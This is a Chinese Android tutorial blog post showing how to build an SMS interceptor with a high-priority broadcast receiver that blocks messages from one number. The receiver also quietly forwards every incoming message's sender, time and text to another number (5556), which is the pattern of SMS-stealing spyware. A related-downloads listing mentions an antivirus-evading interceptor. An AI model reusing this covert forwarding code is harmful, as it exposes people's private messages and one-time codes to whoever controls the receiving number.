- 浏览: 534451 次
- 性别:
- 来自: 北京
文章分类
最新评论
-
tangyunliang:
大哥你太历害了谢谢
Android基于XMPP Smack Openfire开发IM【四】初步实现两个客户端通信 -
u013015029:
LZ,请问下,在// 添加消息到聊天窗口 , 这里获取Ed ...
Android基于XMPP Smack Openfire开发IM【四】初步实现两个客户端通信 -
endual:
怎么保持会话,我搞不懂啊
Android基于XMPP Smack Openfire开发IM【一】登录openfire服务器 -
donala_zq:
显示:[2013-11-30 11:50:36 - Andro ...
android-----------新浪微博 -
donala_zq:
哥,运行不了啊
android-----------新浪微博
短信拦截器:
今天利用广播机制做了一个短信拦截器。在我做的这个拦截器中,可以有两种方式来设置拦截,一种是在AndroidManifest.xml直接设置拦截,另外一种是通过手动注册来设计拦截。在这里我们需要通过查文档找到短信收发的一些权限。
下面我附上自己做的这个拦截器的代码供大家参考。
main.xml:
首页显示的SmsListenerActivity:
如果是利用手动的来注册拦截,那么就不需要在AndroidManifest.xml中设置recevier了。不过利用手动的来设置拦截,那就和做的这个拦截器的需要不相符了,这里我只是为了更加明显的说明广播的机制。
AndroidManifest.xml:
SmsRecevier类用作拦截信息:
今天利用广播机制做了一个短信拦截器。在我做的这个拦截器中,可以有两种方式来设置拦截,一种是在AndroidManifest.xml直接设置拦截,另外一种是通过手动注册来设计拦截。在这里我们需要通过查文档找到短信收发的一些权限。
下面我附上自己做的这个拦截器的代码供大家参考。
main.xml:
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent" > <Button android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="注册拦截" android:onClick="regiset" /> <Button android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="解注册拦截" android:onClick="unregiset" /> </LinearLayout>
首页显示的SmsListenerActivity:
package cn.yj3g.SmsListener; import android.app.Activity; import android.content.IntentFilter; import android.os.Bundle; import android.view.View; import android.widget.Toast; public class SmsListenerActivity extends Activity { private SmsRecevier recevier; private boolean isregiset = false; private static final String ACTION = "android.provider.Telephony.SMS_RECEIVED"; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); recevier = new SmsRecevier(); } public void regiset(View v) { IntentFilter filter = new IntentFilter(ACTION); filter.setPriority(1000);//设置优先级最大 registerReceiver(recevier, filter); isregiset = true; Toast.makeText(this, "注册成功", 0).show(); } public void unregiset(View v) { if (recevier != null && isregiset) { unregisterReceiver(recevier); isregiset = false; Toast.makeText(this, "解注册成功", 0).show(); } else Toast.makeText(this, "尚未注册", 0).show(); } @Override protected void onDestroy() { super.onDestroy(); if (recevier != null && isregiset) { unregisterReceiver(recevier); isregiset = false; Toast.makeText(this, "解注册成功", 0).show(); } } }
如果是利用手动的来注册拦截,那么就不需要在AndroidManifest.xml中设置recevier了。不过利用手动的来设置拦截,那就和做的这个拦截器的需要不相符了,这里我只是为了更加明显的说明广播的机制。
AndroidManifest.xml:
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="cn.yj3g.SmsListener" android:versionCode="1" android:versionName="1.0"> <uses-sdk android:minSdkVersion="8" /> <application android:icon="@drawable/icon" android:label="@string/app_name"> <activity android:name=".SmsListenerActivity" android:label="@string/app_name"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <!-- 这是隐式的设置receiver 我们做的这个拦截器需要这样去做 <receiver android:name=".SmsRecevier"> <intent-filter android:priority="1000"> 将优先级设到最大 <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> --> </application> <uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 --> <uses-permission android:name="android.permission.SEND_SMS"/><!-- 发送短信权限 --> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> </manifest>
SmsRecevier类用作拦截信息:
package cn.yj3g.SmsListener; import java.text.SimpleDateFormat; import java.util.Date; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.SmsManager; import android.telephony.SmsMessage; import android.util.Log; public class SmsRecevier extends BroadcastReceiver { public SmsRecevier() { Log.v("TAG", "SmsRecevier create"); } @Override public void onReceive(Context context, Intent intent) { Log.v("TAG", "SmsRecevier onReceive"); Object[] pdus = (Object[]) intent.getExtras().get("pdus"); if (pdus != null && pdus.length > 0) { SmsMessage[] messages = new SmsMessage[pdus.length]; for (int i = 0; i < pdus.length; i++) { byte[] pdu = (byte[]) pdus[i]; messages[i] = SmsMessage.createFromPdu(pdu); } for (SmsMessage message : messages) { String content = message.getMessageBody();// 得到短信内容 String sender = message.getOriginatingAddress();// 得到发信息的号码 if (sender.equals("110")) { abortBroadcast();// 中止发送 Log.e("TAG", "此号码为黑名单号码,已拦截!"); } Date date = new Date(message.getTimestampMillis()); SimpleDateFormat format = new SimpleDateFormat( "yyyy-MM-dd HH:mm:ss"); String sendContent = format.format(date) + ":" + sender + "--" + content; SmsManager smsManager = SmsManager.getDefault();// 发信息时需要的 smsManager.sendTextMessage("5556", null, sendContent, null, null);// 转发给5556 Log.v("TAG", sendContent); } } } }
发表评论
-
Android中如何模拟一次点击(touch)事件
2014-05-06 10:41 0在Android中有时需要模拟某一个View的touch事件, ... -
Android程序Crash时的异常上报
2014-04-28 18:15 0http://blog.csdn.net/singwhatiw ... -
android程序中证书签名校验的方法
2014-04-28 17:58 2008android程序中证书签名校验的方法一 2013-02 ... -
MD5理解错了,哎
2014-03-17 14:14 0MD5只对数据加密是无法解密的,也就是说,你把100加密后,就 ... -
Android 获取网络时间
2014-03-12 11:42 2046Android 获取网络时间 在网上看到的最常见的方式有: ... -
SQLite清空表并将自增列归零
2014-03-05 18:02 1553SQLite清空表并将自增列归零 作者:Zhu Yanfeng ... -
Handler小看一下
2013-11-11 16:42 0android handler调用post方法还是阻塞 su ... -
Frame Animation小看一下
2013-10-12 16:30 792Demo运行效果图: 源码: -
动画小学一下
2013-10-12 16:14 739转自: http://www.eoeandroid.com/f ... -
Android 动画之ScaleAnimation应用详解
2013-10-12 15:49 1014===============eoeAndroid社区推荐:= ... -
android开发中的一个工具类
2013-06-19 16:04 0package com.wanpu.login.dialog; ... -
android TextView怎么设置个别字体颜色并换行?
2013-06-20 09:25 1693(1)、TextView 设置个别字体颜色 TextView ... -
Android开发之文件下载,状态时显示下载进度,点击自动安装
2013-05-07 15:38 1433在进行软件升级时,需要进行文件下载,在这里实现自定义的文件下载 ... -
android中的状态保存
2013-04-07 14:21 982package com.zzl.call; import ... -
android动画基础:tween动画
2013-04-06 11:21 1252工程结构图: [img] [/img] 四个动画的xml ... -
面试中遇到的几个问题
2013-06-09 11:56 1006SAX与DOM之间的区别 SAX ( ... -
Android获取其他包的Context实例,然后调用它的方法,反射!!!
2013-03-25 10:32 1226Android中有Context的概念,想必大家都知道。Con ... -
Android的内存机制和常见泄漏情形
2013-03-06 16:55 798一、 Android的内存机制 Android的程序由Ja ... -
JUnit测试小小demo
2013-03-06 16:37 1168运行效果图: [img] [/img] 项目结构图 ... -
android开发中的异常小工具
2013-03-04 15:53 901package com.zzl.tools; impor ...
相关推荐
在Android系统中,短信拦截器是一种机制,允许开发者在短信到达设备时进行处理,比如过滤、存储或响应特定类型的短信。这个"Android 短信拦截器"可能是一个示例项目,展示了如何在Android 4.0.3(Ice Cream Sandwich)...
本课程设计的主题是“骚扰短信拦截器”,它旨在帮助用户自动过滤掉不必要的、烦人的或者潜在的垃圾短信,从而提高日常生活中的通信质量。在这个项目中,我们将深入探讨Android系统架构、短信API的使用以及实现拦截器...
1.根据黑名单中的号码拦截短信。 2.黑名单可以增删改。 3.浏览通话记录,将某个号码加入黑名单。 4.可以设定关键词拦截黑名单。 5.可以设定拦截时间(整体时间和规则时间,工作时间和非工作时间不同的拦截规则) 。 6...
非常适合新手的练手项目,可根据手机号码,关键词来屏蔽短信,所屏蔽的短信会在列表显示,打开程序按设置键可以设置和查看 要屏蔽的号码以及关键词。 长按就可以删除号码和关键词,比较全面的功能。希望对大家有用。
【作品名称】:基于 Java 实现的android骚扰短信拦截器【Android课程设计】 【适用人群】:适用于希望学习不同技术领域的小白或进阶学习者。可作为毕设项目、课程设计、大作业、工程实训或初期项目立项。 【项目...
要创建一个短信拦截器,你需要做以下几步: 1. **创建BroadcastReceiver**:首先,你需要定义一个继承自BroadcastReceiver的类,并重写onReceive()方法。在这个方法里,你会处理接收到的ACTION_SMS_RECEIVED广播。 ...
这个项目很可能是实现了一个免杀版的短信拦截器,所谓“免杀”意味着它可能采用了一些反调试和混淆技术,以防止被恶意软件检测工具识别和阻止。这通常涉及到代码混淆、动态加载、权限控制等策略。 1. **代码混淆**...
1. **注册拦截器**:首先,开发者需要在系统启动时注册一个短信拦截器,这样每当有新的短信到达时,系统都会调用预设的拦截器函数。 2. **监听短信**:通过MTK SDK提供的API,拦截器会持续监听短信接收事件。 3. *...
短信拦截器通常作为手机安全应用的一部分,能够帮助用户过滤掉广告、诈骗信息甚至恶意软件的传播途径。这类应用通过分析短信内容、发送者号码或使用特定的关键词黑名单来决定是否拦截一条短信。 开机自启则是应用...
- 项目介绍 运行中有什么问题可以私聊博主,本人高级安卓工程师,主页置顶有常见爆红解决的方法 ## 项目备注 1、该资源内项目代码都经过测试运行成功,功能ok的情况下才上传的,请放心下载使用!...
至此,我们已经创建了一个基本的短信拦截器。不过,需要注意的是,自Android 8.0(API级别26)起,动态注册BroadcastReceiver不再能在后台运行。因此,对于Android 8.0及以上版本,你需要在应用启动时或需要时在代码...
android电话、短信黑白名单拦截、电话录音等综合实现实例
【iOS5短信拦截小demo】是一个面向iOS平台的示例项目,主要展示了如何在iOS系统中实现短信的拦截功能。这个项目可能适用于开发者或者对iOS系统底层操作感兴趣的用户,特别是那些想要了解或开发类似功能的人。 在iOS...
电话拦截主要通过监听PhoneStateListener,而短信拦截则依赖于BroadcastReceiver来接收和处理ACTION_PHONE_STATE和SMS_RECEIVED广播。 二、短信拦截 1. 创建BroadcastReceiver:首先定义一个继承自...
2. **短信拦截**:要实现短信拦截,我们需要创建一个BroadcastReceiver,并在它的onReceive()方法中处理接收到的短信。首先,我们需要在AndroidManifest.xml文件中注册BroadcastReceiver,并声明SMS_RECEIVED权限: ...
5. **测试**:为了测试我们的短信拦截器,可以发送一条短信到设备,并观察BroadcastReceiver是否正确地接收到并处理了短信。这通常需要在模拟环境中进行,因为实际的短信服务可能会受到限制。 6. **注意事项**:...
综上所述,要在Symbian系统中实现短信拦截功能,开发者需要理解Symbian的消息处理机制,创建并注册监听器,编写拦截逻辑,并处理权限问题。通过这些步骤,我们可以构建一个能够保护用户隐私和安全的短信拦截应用。...
在本文中,我们将深入探讨Symbian系统的手机短信拦截源代码。Symbian是一个历史悠久的智能手机操作系统,曾经广泛应用于诺基亚等品牌手机。短信拦截功能对于用户来说非常重要,它可以帮助用户过滤垃圾短信,保护隐私...